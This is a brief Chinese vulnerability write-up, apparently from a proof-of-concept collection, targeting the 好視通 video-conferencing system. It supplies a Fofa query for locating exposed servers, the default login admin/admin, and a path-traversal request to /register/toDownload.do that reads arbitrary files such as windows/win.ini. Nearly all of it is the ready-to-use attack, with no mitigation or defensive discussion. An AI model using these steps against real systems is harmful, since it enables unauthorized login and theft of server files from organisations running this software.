描述
系統存在弱口令和任意文件下載漏洞
Fofa
app="好視通-視頻會議"
弱口令
POC
admin/admin
登錄界面
登錄成功
任意文件下載
POC
/register/toDownload.do?fileName=敏感文件路徑
(https://xxxxxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini)